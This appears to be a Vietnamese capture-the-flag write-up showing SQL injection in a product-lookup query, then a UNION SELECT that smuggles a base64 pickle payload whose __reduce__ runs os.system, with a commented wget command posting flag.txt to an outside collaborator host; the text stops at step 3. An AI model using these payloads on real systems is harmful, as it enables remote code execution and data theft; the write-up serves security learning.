Try   HackMD

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Việc cần làm đầu tiên khi bắt đầu một challenge, chúng ta cần trải nghiệm, sử dụng các chức năng của trang web, để xem những chỗ nào có khả năng khai thác được.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Với bài này thì chỉ có một chức năng duy nhất đó chính là xem đồ chi tiết bằng nút View.
OK nếu như không có gì đặc biệt, chúng ta sẽ sử dụng Burp bắt request và xem qua source code mà tác giả cung cấp

def select_by_id(product_id): return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

Câu query được đưa vào khi ta truyền vào một giá trị id, với việc sử dụng code nối chuỗi sẽ có thể dễ dàng bị khai thác được SQLi. Đơn giản bằng payload -1'OR '1' = '1


Sự khác biệt về byte giữa 2 kết quả trả về

Tuy nhiên flag cần lấy lại không nằm trong bảng nào trong Database. Nhưng chúng ta biết được vị trí của file flag. Sẽ có hai hướng có thể khai thác được.

Cách thứ nhất:

Điều kiện đầu tiên cần cho hai cách dưới đó là ta cần phải biết mình đang Union select cho cái gì.
Vì điều kiện Union như sau:

  • Every SELECT statement within UNION must have the same number of columns
  • The columns must also have similar data types
  • The columns in every SELECT statement must also be in the same order

Tiếp theo ở file app.py có đoạn sau:

Cộng với đoạn ở file index.html

Ta có thể thấy, với parameters = "pickle" ở file index line 41, thì hàm pickle_loads file app sẽ được gọi ra để return ra kết quả trả về index (Vì ở đây sử dụng template_filter('pickle').
Vậy ý tưởng là có thể tạo một Item giả để load ra trang index.

import sys import base64 import pickle import urllib.parse import requests class Payload: def __reduce__(self): import os cmd = ("touch a.txt") #cmd = ("wget --post-file flag.txt wwwpl5s1j5rnquzxyi6t7qcib9hz5o.oastify.com") return os.system, (cmd,) if __name__ == "__main__": payload = base64.b64encode(pickle.dumps(Payload())).decode() #payload = f"' UNION SELECT '{payload}' -- " # payload = requests.utils.requote_uri(payload) print(payload)

Vì trong bài sử dụng module Pickle để serializable đối tượng lưu vào DB, đây là một module nguy hiểm vì chưa thể lọc đầu vào.
Lợi dụng __reduce__ để tạo mới chức năng của object, ta có thể thực hiện.

  • Bước 1: Chúng ta sẽ tạo lại một hàm class chứa shellcode. (Ở bước này cần test xem shell của mình đã thực hiện thành công hay chưa sử dụng lệnh tạo file touch a.txt để test trong local máy mình)

    Sau khi thực hiện
  • Bước 2: Vậy là đã có thể thực hiện RCE thành công, việc cần làm bây giờ là chỉ cần lấy được flag ra. Như đã nói, khi biết được vị trí của file flag, nên ở cách này chưa cần thực hiện việc revershell để tìm kiếm file. Nên sẽ có thể sử dụng Wget để lấy flag.
  • Bước 3: